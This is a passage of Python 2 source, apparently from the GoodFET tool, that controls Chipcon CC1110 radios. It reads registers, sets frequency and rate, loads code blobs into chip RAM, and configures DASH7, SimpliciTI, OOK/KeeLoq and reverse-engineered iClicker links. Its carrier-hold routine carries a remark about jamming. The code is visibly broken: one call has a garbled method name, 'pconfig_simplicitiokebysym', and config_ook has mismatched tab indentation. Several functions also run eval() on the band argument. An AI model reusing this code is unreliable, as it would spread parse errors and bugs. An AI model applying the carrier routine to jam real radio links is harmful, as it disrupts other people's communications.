 112 |                 lreg = "help"
 113 |                 break
 114 |             lreg.append(reg.lower())
 115 |         for e in dom.getElementsByTagName("registerdefinition"):
 116 |             for f in e.childNodes:
 117 |                 if f.localName=="DeviceName":
 118 |                     print "// %s RadioState" % (f.childNodes[0].nodeValue);
 119 |                 elif f.localName=="Register":
 120 |                     name="unknownreg";
 121 |                     address="0xdead";
 122 |                     description="";
 123 |                     bitfields="";
 124 |                     for g in f.childNodes:
 125 |                         if g.localName=="Name":
 126 |                             name=g.childNodes[0].nodeValue;
 127 |                         elif g.localName=="Address":
 128 |                             address=g.childNodes[0].nodeValue;
 129 |                         elif g.localName=="Description":
 130 |                             if g.childNodes:
 131 |                                 description=g.childNodes[0].nodeValue;
 132 |                         elif g.localName=="Bitfield":
 133 |                             bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g));
 134 |                     #print "SFRX(%10s, %s); /* %50s */" % (name,address, description);
 135 |                     if lreg == "help":
 136 |                         print "%-10s /* %-50s */" % (name, description);
 137 |                     elif name.lower() in lreg:
 138 |                         print "%-10s=0x%02x; /* %-50s */" % (
 139 |                             name,self.CCpeekdatabyte(eval(address)), description);
 140 |                         if bitfields!="": print bitfields.rstrip();
 141 | 
 142 |     def RF_getrate(self):
 143 |         rate=self.peek(0x06)&0x28;
 144 |         if rate==0x20:
 145 |             rate=250*10**3; #256kbps
 146 |         elif rate==0x08:
 147 |             rate=2*10**6;  #2Mbps
 148 |         elif rate==0x00: 
 149 |             rate=1*10**6;  #1Mbps
 150 |         return rate;
 151 | 
 152 |     def RF_setrate(self,rate=2*10**6):
 153 |         r6=self.peek(0x06); #RF_SETUP register
 154 |         r6=r6&(~0x28);   #Clear rate fields.
 155 |         if rate==2*10**6:
 156 |             r6=r6|0x08;
 157 |         elif rate==1*10**6:
 158 |             r6=r6;
 159 |         elif rate==250*10**3:
 160 |             r6=r6|0x20;
 161 |         print "Setting r6=%02x." % r6;
 162 |         self.poke(0x06,r6); #Write new rate.
 163 | 
 164 |     def RF_setpacketlen(self,len=16):
 165 |         """Set the number of bytes in the expected payload."""
 166 |         self.poke(0x11,len);
 167 |         self.packetlen=len;
 168 | 
 169 |     def RF_getpacketlen(self):
 170 |         """Set the number of bytes in the expected payload."""
 171 |         len=self.peek(0x11);
 172 |         self.packetlen=len;
 173 |         return len;
 174 | 
 175 |     maclen = 5;
 176 |     def RF_getmaclen(self):
 177 |         """Get the number of bytes in the MAC address."""
 178 |         choices=[2, 3, 4, 5];
 179 |         choice=self.peek(0x03)&3;
 180 |         self.maclen=choices[choice];
 181 |         return self.maclen;
 182 | 
 183 |     def RF_setmaclen(self,len):
 184 |         """Set the number of bytes in the MAC address."""
 185 |         choices=["illegal", "illegal",
 186 |                  0,       #undocumented 
 187 |                  1, 2, 3  #documented
 188 |                  ];
 189 |         choice=choices[len];
 190 |         self.poke(0x03,choice);
 191 |         self.maclen=len;
 192 | 
 193 |     def RF_setfreq(self,frequency):
 194 |         """Set the frequency in Hz."""
 195 |         #FIXME CC1110 specific
 196 |         #Some frequencies fail, probably and FSCAL thing.
 197 |         
 198 |         hz=frequency;
 199 |         freq=int(hz/396.728515625);
 200 |         
 201 |         freq0=freq&0xFF;
 202 |         freq1=(freq&0xFF00)>>8;
 203 |         freq2=(freq&0xFF0000)>>16;
 204 |         
 205 |         self.pokebysym("FREQ2",freq2);
 206 |         self.pokebysym("FREQ1",freq1);
 207 |         self.pokebysym("FREQ0",freq0);
 208 |         
 209 |         self.pokebysym("TEST1",0x31);
 210 |         self.pokebysym("TEST0",0x09);
 211 |         
 212 |         
 213 |         #self.pokebysym("FSCAL2" ,   0x2A);  #above mid
 214 |         self.pokebysym("FSCAL2" ,   0x0A);  #beneath mid
 215 |         
 216 |         #self.CC_RFST_CAL(); #SCAL
 217 |         #time.sleep(1);
 218 |     
 219 |         
 220 |     def RF_getfreq(self):
 221 |         """Get the frequency in Hz."""
 222 |         #FIXME CC1110 specific
 223 |         
 224 |         #return (2400+self.peek(0x05))*10**6
 225 |         #self.poke(0x05,chan);
 226 |         
 227 |         #freq2=self.CCpeekdatabyte(0xdf09);
 228 |         #freq1=self.CCpeekdatabyte(0xdf0a);
 229 |         #freq0=self.CCpeekdatabyte(0xdf0b);
 230 |         freq=0;
 231 |         try:
 232 |             freq2=self.peekbysym("FREQ2");
 233 |             freq1=self.peekbysym("FREQ1");
 234 |             freq0=self.peekbysym("FREQ0");
 235 |             freq=(freq2<<16)+(freq1<<8)+freq0;
 236 |         except:
 237 |             freq=0;
 238 |             
 239 |         hz=freq*396.728515625;
 240 |         
 241 |         return hz;
 242 |     
 243 |     def RF_getchannel(self):
 244 |         """Get the hex channel."""
 245 |         #FIXME CC1110 specific
 246 |         freq=0;
 247 |         try:
 248 |             freq2=self.peekbysym("FREQ2");
 249 |             freq1=self.peekbysym("FREQ1");
 250 |             freq0=self.peekbysym("FREQ0");
 251 |             freq=(freq2<<16)+(freq1<<8)+freq0;
 252 |         except:
 253 |             freq=0;
 254 |             
 255 |         return freq;
 256 |     
 257 |     
 258 |     lastshellcode="none";
 259 |     def shellcodefile(self,filename,wait=1, alwaysreload=0):
 260 |         """Run a fragment of shellcode by name."""
 261 |         #FIXME: should identify chip model number, use shellcode for that chip.
 262 |         
 263 |         if self.lastshellcode!=filename or alwaysreload>0:
 264 |             self.lastshellcode=filename;
 265 |             file=__file__;
 266 |             file=file.replace("GoodFETCC.pyc","GoodFETCC.py");
 267 |             #TODO make this generic
 268 |             path=file.replace("GoodFETCC.py","shellcode/chipcon/cc1110/");
 269 |             filename=path+filename;
 270 |         
 271 |             #Load the shellcode.
 272 |             h=IntelHex(filename);
 273 |             for i in h._buf.keys():
 274 |                 self.CCpokedatabyte(i,h[i]);
 275 |         #Execute it.
 276 |         self.CCdebuginstr([0x02, 0xf0, 0x00]); #ljmp 0xF000
 277 |         self.resume();
 278 |         while wait>0 and (0==self.CCstatus()&0x20):
 279 |             a=1;
 280 |             #print "Waiting for shell code to return.";
 281 |         return;
 282 |     def ishalted(self):
 283 |         return self.CCstatus()&0x20;
 284 |     def shellcode(self,code,wait=1):
 285 |         """Copy a block of code into RAM and execute it."""
 286 |         i=0;
 287 |         ram=0xF000;
 288 |         for byte in code:
 289 |             self.pokebyte(0xF000+i,byte);
 290 |             i=i+1;
 291 |         #print "Code loaded, executing."
 292 |         self.CCdebuginstr([0x02, 0xf0, 0x00]); #ljmp 0xF000
 293 |         self.resume();
 294 |         while wait>0 and (0==self.CCstatus()&0x20):
 295 |             a=1;
 296 |             #time.sleep(0.1);
 297 |             #print "Waiting for shell code to return.";
 298 |         return;
 299 |     def CC1110_crystal(self):
 300 |         """Start the main crystal of the CC1110 oscillating, needed for radio use."""
 301 |         code=[0x53, 0xBE, 0xFB, #anl SLEEP, #0xFB
 302 |               #one:
 303 |               0xE5, 0xBE,       #mov a,SLEEP
 304 |               0x30, 0xE6, 0xFB, #jnb acc.6, back
 305 |               0x53, 0xc6, 0xB8, #anl CLKCON, #0xB8
 306 |               #two
 307 |               0xE5, 0xC6,       #mov a,CLKCON
 308 |               0x20, 0xE6, 0xFB, #jb acc.6, two
 309 |               0x43, 0xBE, 0x04, #orl SLEEP, #0x04
 310 |               0xA5,             #HALT
 311 |               ];
 312 |         self.shellcode(code);
 313 |         
 314 |         #Slower to load, but produced from C.
 315 |         #self.shellcodefile("crystal.ihx");
 316 |         return;
 317 |     def RF_idle(self):
 318 |         """Move the radio to its idle state."""
 319 |         self.CC_RFST_IDLE();
 320 |         return;
 321 |     
 322 |     #Chipcon RF strobes.  CC1110 specific
 323 |     RFST_IDLE=0x04;
 324 |     RFST_RX=0x02;
 325 |     RFST_TX=0x03;
 326 |     RFST_CAL=0x01;
 327 |     def CC_RFST_IDLE(self):
 328 |         """Switch the radio to idle mode, clearing overflows and errors."""
 329 |         self.CC_RFST(self.RFST_IDLE);
 330 |     def CC_RFST_TX(self):
 331 |         """Switch the radio to TX mode."""
 332 |         self.CC_RFST(self.RFST_TX);
 333 |     def CC_RFST_RX(self):
 334 |         """Switch the radio to RX mode."""
 335 |         self.CC_RFST(self.RFST_RX);
 336 |     def CC_RFST_CAL(self):
 337 |         """Calibrate strobe the radio."""
 338 |         self.CC_RFST(self.RFST_CAL);
 339 |     def CC_RFST(self,state=RFST_IDLE):
 340 |         RFST=0xDFE1
 341 |         self.pokebyte(RFST,state); #Return to idle state.
 342 |         return;
 343 |     def config_dash7(self,band="lf"):
 344 |         #These settings came from the OpenTag project's GIT repo on 18 Dec, 2010.
 345 |         #Waiting for official confirmation of the accuracy.
 346 | 
 347 |         self.pokebysym("FSCTRL1"  , 0x08)   # Frequency synthesizer control.
 348 |         self.pokebysym("FSCTRL0"  , 0x00)   # Frequency synthesizer control.
 349 |         
 350 |         #Don't change these while the radio is active.
 351 |         self.pokebysym("FSCAL3"   , 0xEA)   # Frequency synthesizer calibration.
 352 |         self.pokebysym("FSCAL2"   , 0x2A)   # Frequency synthesizer calibration.
 353 |         self.pokebysym("FSCAL1"   , 0x00)   # Frequency synthesizer calibration.
 354 |         self.pokebysym("FSCAL0"   , 0x1F)   # Frequency synthesizer calibration.
 355 |         
 356 |         if band=="ismeu" or band=="eu":
 357 |             print "There is no official eu band for dash7."
 358 |             self.pokebysym("FREQ2"    , 0x21)   # Frequency control word, high byte.
 359 |             self.pokebysym("FREQ1"    , 0x71)   # Frequency control word, middle byte.
 360 |             self.pokebysym("FREQ0"    , 0x7a)   # Frequency control word, low byte.
 361 |         elif band=="ismus" or band=="us":
 362 |             print "There is no official us band for dash7."
 363 |             self.pokebysym("FREQ2"    , 0x22)   # Frequency control word, high byte.
 364 |             self.pokebysym("FREQ1"    , 0xB1)   # Frequency control word, middle byte.
 365 |             self.pokebysym("FREQ0"    , 0x3B)   # Frequency control word, low byte.
 366 |         elif band=="ismlf" or band=="lf":
 367 |             # 433.9198 MHz, same as Simpliciti.
 368 |             self.pokebysym("FREQ2"    , 0x10)   # Frequency control word, high byte.
 369 |             self.pokebysym("FREQ1"    , 0xB0)   # Frequency control word, middle byte.
 370 |             self.pokebysym("FREQ0"    , 0x71)   # Frequency control word, low byte.
 371 |         elif band=="none":
 372 |             pass;
 373 |         else:
 374 |             #Got a frequency, not a band.
 375 |             self.RF_setfreq(eval(band));
 376 |         self.pokebysym("MDMCFG4"  , 0x8B)   # 62.5 kbps w/ 200 kHz filter
 377 |         self.pokebysym("MDMCFG3"  , 0x3B)
 378 |         self.pokebysym("MDMCFG2"  , 0x11)
 379 |         self.pokebysym("MDMCFG1"  , 0x02)
 380 |         self.pokebysym("MDMCFG0"  , 0x53)
 381 |         self.pokebysym("CHANNR"   , 0x00)   # Channel zero.
 382 |         self.pokebysym("DEVIATN"  , 0x50)   # 50 kHz deviation
 383 |         
 384 |         self.pokebysym("FREND1"   , 0xB6)   # Front end RX configuration.
 385 |         self.pokebysym("FREND0"   , 0x10)   # Front end RX configuration.
 386 |         self.pokebysym("MCSM2"    , 0x1E)
 387 |         self.pokebysym("MCSM1"    , 0x3F)
 388 |         self.pokebysym("MCSM0"    , 0x30)
 389 |         self.pokebysym("FOCCFG"   , 0x1D)   # Frequency Offset Compensation Configuration.
 390 |         self.pokebysym("BSCFG"    , 0x1E)   # 6.25% data error rate
 391 |         
 392 |         self.pokebysym("AGCCTRL2" , 0xC7)   # AGC control.
 393 |         self.pokebysym("AGCCTRL1" , 0x00)   # AGC control.
 394 |         self.pokebysym("AGCCTRL0" , 0xB2)   # AGC control.
 395 |         
 396 |         self.pokebysym("TEST2"    , 0x81)   # Various test settings.
 397 |         self.pokebysym("TEST1"    , 0x35)   # Various test settings.
 398 |         self.pokebysym("TEST0"    , 0x09)   # Various test settings.
 399 |         self.pokebysym("PA_TABLE0", 0xc0)   # Max output power.
 400 |         self.pokebysym("PKTCTRL1" , 0x04)   # Packet automation control, w/ lqi
 401 |         #self.pokebysym("PKTCTRL1" , 0x00)   # Packet automation control. w/o lqi
 402 |         self.pokebysym("PKTCTRL0" , 0x05)   # Packet automation control, w/ checksum.
 403 |         #self.pokebysym("PKTCTRL0" , 0x00)   # Packet automation control, w/o checksum, fixed length
 404 |         self.pokebysym("ADDR"     , 0x01)   # Device address.
 405 |         self.pokebysym("PKTLEN"   , 0xFF)   # Packet length.
 406 |         
 407 |         #Sync word hack
 408 |         self.pokebysym("SYNC1",0x83);
 409 |         self.pokebysym("SYNC0",0xFE);
 410 |         return;
 411 |     def config_iclicker(self,band="lf"):
 412 |         #Mike Ossmann figured most of this out, with help from neighbors.
 413 |         
 414 |         self.pokebysym("FSCTRL1"  , 0x06)   # Frequency synthesizer control.
 415 |         self.pokebysym("FSCTRL0"  , 0x00)   # Frequency synthesizer control.
 416 |         
 417 |         #Don't change these while the radio is active.
 418 |         self.pokebysym("FSCAL3"   , 0xE9)
 419 |         self.pokebysym("FSCAL2"   , 0x2A)
 420 |         self.pokebysym("FSCAL1"   , 0x00)
 421 |         self.pokebysym("FSCAL0"   , 0x1F)
 422 |         
 423 |         if band=="ismeu" or band=="eu":
 424 |             print "The EU band is unknown.";
 425 |         elif band=="ismus" or band=="us":
 426 |             #905.5MHz
 427 |             self.pokebysym("FREQ2"    , 0x22)   # Frequency control word, high byte.
 428 |             self.pokebysym("FREQ1"    , 0xD3)   # Frequency control word, middle byte.
 429 |             self.pokebysym("FREQ0"    , 0xAC)   # Frequency control word, low byte.
 430 |         elif band=="ismlf" or band=="lf":
 431 |             print "There is no LF version of the iclicker."
 432 |         elif band=="none":
 433 |             pass;
 434 |         else:
 435 |             #Got a frequency, not a band.
 436 |             self.RF_setfreq(eval(band));
 437 |         # 812.5kHz bandwidth, 152.34 kbaud
 438 |         self.pokebysym("MDMCFG4"  , 0x1C)   
 439 |         self.pokebysym("MDMCFG3"  , 0x80)
 440 |         # no FEC, 2 byte preamble, 250kHz chan spacing
 441 |         
 442 |         #15/16 sync
 443 |         #self.pokebysym("MDMCFG2"  , 0x01)
 444 |         #16/16 sync
 445 |         self.pokebysym("MDMCFG2"  , 0x02)
 446 |         
 447 |         self.pokebysym("MDMCFG1"  , 0x03)
 448 |         self.pokebysym("MDMCFG0"  , 0x3b)
 449 |         
 450 |         self.pokebysym("CHANNR"   , 0x2e)   # Channel zero.
 451 |         
 452 |         #self.pokebysym("DEVIATN"  , 0x71)  # 118.5
 453 |         self.pokebysym("DEVIATN"  , 0x72)   # 253.9 kHz deviation
 454 |         
 455 |         self.pokebysym("FREND1"   , 0x56)   # Front end RX configuration.
 456 |         self.pokebysym("FREND0"   , 0x10)   # Front end RX configuration.
 457 |         self.pokebysym("MCSM2"    , 0x07)
 458 |         self.pokebysym("MCSM1"    , 0x30)   #Auto freq. cal.
 459 |         self.pokebysym("MCSM0"    , 0x14)
 460 |         
 461 |         self.pokebysym("TEST2"    , 0x88)   # 
 462 |         self.pokebysym("TEST1"    , 0x31)   # 
 463 |         self.pokebysym("TEST0"    , 0x09)   # High VCO (Upper band.)
 464 |         self.pokebysym("PA_TABLE0", 0xC0)   # Max output power.
 465 |         self.pokebysym("PKTCTRL1" , 0x45)   # Preamble qualidy 2*4=6, adr check, status
 466 |         self.pokebysym("PKTCTRL0" , 0x00)   # No whitening, CR, fixed len.
 467 |         
 468 |         self.pokebysym("PKTLEN"   , 0x09)   # Packet length.
 469 |         
 470 |         self.pokebysym("SYNC1",0xB0);
 471 |         self.pokebysym("SYNC0",0xB0);
 472 |         self.pokebysym("ADDR", 0xB0);
 473 |         return;
 474 | 
 475 |     def config_ademco(self, band="lf"):
 476 |         pass
 477 |         # FIXME Temporary placeholder for me to write the Ademco protocol into the GoodFET Chipcon Application
 478 |         # TODO  Also, write a class that takes in the XML registration files and sets values (not just addresses)
 479 | 
 480 | 	def config_ook(self,band="none"):
 481 | 		self.pokebysym("FSCTRL1"  , 0x0C) #08   # Frequency synthesizer control.
 482 | 		self.pokebysym("FSCTRL0"  , 0x00)   # Frequency synthesizer control.
 483 |         
 484 |         #Don't change these while the radio is active.
 485 |         self.pokebysym("FSCAL3"   , 0xEA)   # Frequency synthesizer calibration.
 486 |         self.pokebysym("FSCAL2"   , 0x2A)   # Frequency synthesizer calibration.
 487 |         self.pokebysym("FSCAL1"   , 0x00)   # Frequency synthesizer calibration.
 488 |         self.pokebysym("FSCAL0"   , 0x1F)   # Frequency synthesizer calibration.
 489 |         
 490 |         if band=="ismeu" or band=="eu":
 491 |             self.pokebysym("FREQ2"    , 0x21)   # Frequency control word, high byte.
 492 |             self.pokebysym("FREQ1"    , 0x71)   # Frequency control word, middle byte.
 493 |             self.pokebysym("FREQ0"    , 0x7a)   # Frequency control word, low byte.
 494 |         elif band=="ismus" or band=="us":
 495 |             self.pokebysym("FREQ2"    , 0x22)   # Frequency control word, high byte.
 496 |             self.pokebysym("FREQ1"    , 0xB1)   # Frequency control word, middle byte.
 497 |             self.pokebysym("FREQ0"    , 0x3B)   # Frequency control word, low byte.
 498 |         elif band=="ismlf" or band=="lf":
 499 |             self.pokebysym("FREQ2"    , 0x0C)   # Frequency control word, high byte.
 500 |             self.pokebysym("FREQ1"    , 0x1D)   # Frequency control word, middle byte.
 501 |             self.pokebysym("FREQ0"    , 0x89)   # Frequency control word, low byte.
 502 |         elif band=="none":
 503 |             pass;
 504 |         else:
 505 |             #Got a frequency, not a band.
 506 |             self.RF_setfreq(eval(band));
 507 |         
 508 |         #data rate
 509 |         #~1
 510 |         #self.pokebysym("MDMCFG4"  , 0x85)
 511 |         #self.pokebysym("MDMCFG3"  , 0x83)
 512 |         #0.5
 513 |         #self.pokebysym("MDMCFG4"  , 0xf4)
 514 |         #self.pokebysym("MDMCFG3"  , 0x43)
 515 |         #2.4
 516 |         #self.pokebysym("MDMCFG4"  , 0xf6)
 517 |         #self.pokebysym("MDMCFG3"  , 0x83)
 518 |         
 519 |         #4.8 kbaud
 520 |         #print "Warning: Default to 4.8kbaud.";
 521 |         #self.pokebysym("MDMCFG4"  , 0xf7)
 522 |         #self.pokebysym("MDMCFG3"  , 0x83)
 523 |         #9.6 kbaud
 524 |         #print "Warning: Default to 9.6kbaud.";
 525 |         #
 526 |         
 527 |         self.pokebysym("MDMCFG4"  , 0xf8)
 528 |         self.pokebysym("MDMCFG3"  , 0x83)
 529 |         self.pokebysym("MDMCFG2"  , 0x34)   # OOK, carrier-sense, no-manchester
 530 |         
 531 |         #Kind aright for keeloq
 532 |         print "Warning: Guessing baud rate.";
 533 |         #self.pokebysym("MDMCFG4"  , 0xf6)
 534 |         #self.pokebysym("MDMCFG3"  , 0x93)
 535 |         #self.pokebysym("MDMCFG2"  , 0x3C)   # OOK, carrier-sense, manchester
 536 |         
 537 |         self.pokebysym("MDMCFG1"  , 0x00)   # Modem configuration.
 538 |         self.pokebysym("MDMCFG0"  , 0xF8)   # Modem configuration.
 539 |         self.pokebysym("CHANNR"   , 0x00)   # Channel number.
 540 |         
 541 |         self.pokebysym("FREND1"   , 0x56)   # Front end RX configuration.
 542 |         self.pokebysym("FREND0"   , 0x11)   # Front end RX configuration.
 543 |         self.pokebysym("MCSM0"    , 0x18)   # Main Radio Control State Machine configuration.
 544 |         #self.pokebysym("FOCCFG"   , 0x1D)   # Frequency Offset Compensation Configuration.
 545 |         #self.pokebysym("BSCFG"    , 0x1C)   # Bit synchronization Configuration.
 546 |         
 547 |         #self.pokebysym("AGCCTRL2" , 0xC7)   # AGC control.
 548 |         #self.pokebysym("AGCCTRL1" , 0x00)   # AGC control.
 549 |         #self.pokebysym("AGCCTRL0" , 0xB2)   # AGC control.
 550 |         
 551 |         self.pokebysym("TEST2"    , 0x81)   # Various test settings.
 552 |         self.pokebysym("TEST1"    , 0x35)   # Various test settings.
 553 |         self.pokebysym("TEST0"    , 0x0B)   # Various test settings.
 554 |         self.pokebysym("PA_TABLE0", 0xc2)   # Max output power.
 555 |         self.pokebysym("PKTCTRL1" , 0x04)   # Packet automation control, w/ lqi
 556 |         #self.pokebysym("PKTCTRL1" , 0x00)   # Packet automation control. w/o lqi
 557 |         #self.pokebysym("PKTCTRL0" , 0x05)   # Packet automation control, w/ checksum.
 558 |         self.pokebysym("PKTCTRL0" , 0x00)   # Packet automation control, w/o checksum, fixed length
 559 |         self.pokebysym("ADDR"     , 0x01)   # Device address.
 560 |         self.pokebysym("PKTLEN"   , 0xFF)   # Packet length.
 561 |         
 562 |         self.pokebysym("SYNC1",0xD3);
 563 |         self.pokebysym("SYNC0",0x91);
 564 |         
 565 |     def config_simpliciti(self,band="none"):
 566 |         self.pokebysym("FSCTRL1"  , 0x0C) #08   # Frequency synthesizer control.
 567 |         self.pokebysym("FSCTRL0"  , 0x00)   # Frequency synthesizer control.
 568 |         
 569 |         #Don't change these while the radio is active.
 570 |         self.pokebysym("FSCAL3"   , 0xEA)   # Frequency synthesizer calibration.
 571 |         self.pokebysym("FSCAL2"   , 0x2A)   # Frequency synthesizer calibration.
 572 |         self.pokebysym("FSCAL1"   , 0x00)   # Frequency synthesizer calibration.
 573 |         self.pokebysym("FSCAL0"   , 0x1F)   # Frequency synthesizer calibration.
 574 |         
 575 |         if band=="ismeu" or band=="eu":
 576 |             self.pokebysym("FREQ2"    , 0x21)   # Frequency control word, high byte.
 577 |             self.pokebysym("FREQ1"    , 0x71)   # Frequency control word, middle byte.
 578 |             self.pokebysym("FREQ0"    , 0x7a)   # Frequency control word, low byte.
 579 |         elif band=="ismus" or band=="us":
 580 |             self.pokebysym("FREQ2"    , 0x22)   # Frequency control word, high byte.
 581 |             self.pokebysym("FREQ1"    , 0xB1)   # Frequency control word, middle byte.
 582 |             self.pokebysym("FREQ0"    , 0x3B)   # Frequency control word, low byte.
 583 |         elif band=="ismlf" or band=="lf":
 584 |             self.pokebysym("FREQ2"    , 0x10)   # Frequency control word, high byte.
 585 |             self.pokebysym("FREQ1"    , 0xB0)   # Frequency control word, middle byte.
 586 |             self.pokebysym("FREQ0"    , 0x71)   # Frequency control word, low byte.
 587 |         elif band=="none":
 588 |             band="none";
 589 |         else:
 590 |             #Got a frequency, not a band.
 591 |             self.RF_setfreq(eval(band));
 592 |         self.pokebysym("MDMCFG4"  , 0x7B)   # Modem configuration.
 593 |         self.pokebysym("MDMCFG3"  , 0x83)   # Modem configuration.
 594 |         self.pokebysym("MDMCFG2"  , 0x13)   # Modem configuration.
 595 |         self.pokebysym("MDMCFG1"  , 0x22)   # Modem configuration.
 596 |         self.pokebysym("MDMCFG0"  , 0xF8)   # Modem configuration.
 597 |         if band=="ismus" or band=="us":
 598 |             self.pokebysym("CHANNR"   , 20)   # Channel number.
 599 |         else:
 600 |             self.pokebysym("CHANNR"   , 0x00)   # Channel number.
 601 |         self.pokebysym("DEVIATN"  , 0x42)   # Modem deviation setting (when FSK modulation is enabled).
 602 |         
 603 |         self.pokebysym("FREND1"   , 0xB6)   # Front end RX configuration.
 604 |         self.pokebysym("FREND0"   , 0x10)   # Front end RX configuration.
 605 |         self.pokebysym("MCSM0"    , 0x18)   # Main Radio Control State Machine configuration.
 606 |         self.pokebysym("FOCCFG"   , 0x1D)   # Frequency Offset Compensation Configuration.
 607 |         self.pconfig_simplicitiokebysym("BSCFG"    , 0x1C)   # Bit synchronization Configuration.
 608 |         
 609 |         self.pokebysym("AGCCTRL2" , 0xC7)   # AGC control.
 610 |         self.pokebysym("AGCCTRL1" , 0x00)   # AGC control.
 611 |         self.pokebysym("AGCCTRL0" , 0xB2)   # AGC control.
 612 |         
 613 |         self.pokebysym("TEST2"    , 0x81)   # Various test settings.
 614 |         self.pokebysym("TEST1"    , 0x35)   # Various test settings.
 615 |         self.pokebysym("TEST0"    , 0x09)   # Various test settings.
 616 |         self.pokebysym("PA_TABLE0", 0xc0)   # Max output power.
 617 |         self.pokebysym("PKTCTRL1" , 0x04)   # Packet automation control, w/ lqi
 618 |         #self.pokebysym("PKTCTRL1" , 0x00)   # Packet automation control. w/o lqi
 619 |         self.pokebysym("PKTCTRL0" , 0x05)   # Packet automation control, w/ checksum.
 620 |         #self.pokebysym("PKTCTRL0" , 0x00)   # Packet automation control, w/o checksum, fixed length
 621 |         self.pokebysym("ADDR"     , 0x01)   # Device address.
 622 |         self.pokebysym("PKTLEN"   , 0xFF)   # Packet length.
 623 |         
 624 |         self.pokebysym("SYNC1",0xD3);
 625 |         self.pokebysym("SYNC0",0x91);
 626 |         
 627 |     def RF_carrier(self):
 628 |         """Hold a carrier wave on the present frequency."""
 629 |         
 630 |         self.CC1110_crystal(); #FIXME, '1110 specific.
 631 |         self.RF_idle();
 632 |         
 633 |         
 634 |         RFST=0xDFE1;
 635 |         
 636 |         self.config_simpliciti();
 637 |         
 638 |         #Don't change these while the radio is active.
 639 |         #self.pokebysym("FSCAL3"   , 0xA9)   # Frequency synthesizer calibration.
 640 |         #self.pokebysym("FSCAL2"   , 0x0A)   # Frequency synthesizer calibration.
 641 |         #self.pokebysym("FSCAL1"   , 0x00)   # Frequency synthesizer calibration.
 642 |         #self.pokebysym("FSCAL0"   , 0x11)   # Frequency synthesizer calibration.
 643 |         
 644 |         #Ramp up the power.
 645 |         #self.pokebysym("PA_TABLE0", 0xFF)   # PA output power setting.
 646 |         
 647 |         #This is what drops to OOK.
 648 |         #Comment to keep GFSK, might be better at jamming.
 649 |         self.pokebysym("MDMCFG4"  , 0x86)   # Modem configuration.
 650 |         self.pokebysym("MDMCFG3"  , 0x83)   # Modem configuration.
 651 |         self.pokebysym("MDMCFG2"  , 0x30)   # Modem configuration.
 652 |         self.pokebysym("MDMCFG1"  , 0x22)   # Modem configuration.
 653 |         self.pokebysym("MDMCFG0"  , 0xF8)   # Modem configuration.
 654 |         
 655 |         self.pokebysym("SYNC1",0xAA);
 656 |         self.pokebysym("SYNC0",0xAA);
 657 |         
 658 |         #while ((MARCSTATE & MARCSTATE_MARC_STATE) != MARC_STATE_TX); 
 659 |         state=0;
 660 |         
 661 |         while((state!=0x13)):
 662 |             self.pokebyte(RFST,0x03); #RFST=RFST_STX
 663 |             time.sleep(0.1);
 664 |             state=self.peekbysym("MARCSTATE")&0x1F;
 665 |             #print "state=%02x" % state;
 666 |         print "Holding a carrier on %f MHz." % (self.RF_getfreq()/10**6);
 667 |         
 668 |         return;
 669 |             
 670 |     def RF_getsmac(self):
 671 |         """Return the source MAC address."""
 672 |         
 673 |         #Register 0A is RX_ADDR_P0, five bytes.
 674 |         mac=self.peekbysym("ADDR");
 675 |         return mac;
 676 | 
 677 |     def RF_setsmac(self,mac):
 678 |         """Set the source MAC address."""
 679 |         self.pokebysym("ADDR",mac);
 680 |         return 0;
 681 | 
 682 |     def RF_gettmac(self):
 683 |         """Return the target MAC address."""
 684 |         return 0;
 685 | 
 686 |     def RF_settmac(self,mac):
 687 |         """Set the target MAC address."""
 688 |         return 0;
 689 | 
 690 |     def RF_rxpacket(self):
 691 |         """Get a packet from the radio.  Returns None if none is waiting."""
 692 |         self.shellcodefile("rxpacket.ihx");
 693 |         len=self.peek8(0xFE00,"xdata");
 694 |         return self.peekblock(0xFE00,len+3,"data");
 695 | 
 696 |     def RF_txpacket(self,packet):
 697 |         """Transmit a packet.  Untested."""
 698 |         
 699 |         self.pokeblock(0xFE00,packet,"data");
 700 |         self.shellcodefile("txpacket.ihx");
 701 |         return;
 702 |     def RF_txrxpacket(self,packet):
 703 |         """Transmit a packet.  Untested."""
 704 |         
 705 |         self.pokeblock(0xFE00,packet,"data");
 706 |         self.shellcodefile("txrxpacket.ihx");
 707 |         len=self.peek8(0xFE00,"xdata");
 708 |         return self.peekblock(0xFE00,len+3,"data");
 709 | 
 710 |     def RF_getrssi(self):
 711 |         """Returns the received signal strenght, with a weird offset."""
 712 |         try:
 713 |             rssireg=self.symbols.get("RSSI");
 714 |             return self.CCpeekdatabyte(rssireg)^0x80;
 715 |         except:
 716 |             if self.verbose>0: print "RSSI reg doesn't exist.";
 717 |         try:
 718 |             #RSSI doesn't exist on some 2.4GHz devices.  Maybe RSSIL and RSSIH?
 719 |             rssilreg=self.symbols.get("RSSIL");
 720 |             rssil=self.CCpeekdatabyte(rssilreg);
 721 |             rssihreg=self.symbols.get("RSSIL");
 722 |             rssih=self.CCpeekdatabyte(rssihreg);
 723 |             return (rssih<<8)|rssil;
 724 |         except:
 725 |             if self.verbose>0: print "RSSIL/RSSIH regs don't exist.";
 726 |         
 727 |         return 0;
 728 |     
 729 |     def SRF_loadsymbols(self):
 730 |         ident=self.CCident();
 731 |         chip=self.CCversions.get(ident&0xFF00);
 732 |         dom=self.SRF_chipdom(chip,"register_definition.xml");
 733 |         for e in dom.getElementsByTagName("registerdefinition"):
 734 |             for f in e.childNodes:
 735 |                 if f.localName=="Register":
 736 |                     name="unknownreg";
 737 |                     address="0xdead";
 738 |                     description="";
 739 |                     bitfields="";
 740 |                     for g in f.childNodes:
 741 |                         if g.localName=="Name":
 742 |                             name=g.childNodes[0].nodeValue;
 743 |                         elif g.localName=="Address":
 744 |                             address=g.childNodes[0].nodeValue;
 745 |                         elif g.localName=="Description":
 746 |                             if g.childNodes:
 747 |                                 description=g.childNodes[0].nodeValue;
 748 |                         elif g.localName=="Bitfield":
 749 |                             bitfields+="%17s/* %-50s */\n" % ("",self.SRF_bitfieldstr(g));
 750 |                     #print "SFRX(%10s, %s); /* %50s */" % (name,address, description);
 751 |                     self.symbols.define(eval(address),name,description,"data");
 752 |     def halt(self):
 753 |         """Halt the CPU."""
 754 |         self.CChaltcpu();
 755 |     def CChaltcpu(self):
 756 |         """Halt the CPU."""
 757 |         self.writecmd(self.APP,0x86,0,self.data);
 758 |     def resume(self):
 759 |         self.CCreleasecpu();
 760 |     def CCreleasecpu(self):
 761 |         """Resume the CPU."""
 762 |         self.writecmd(self.APP,0x87,0,self.data);
 763 |     def test(self):
 764 |         self.CCreleasecpu();
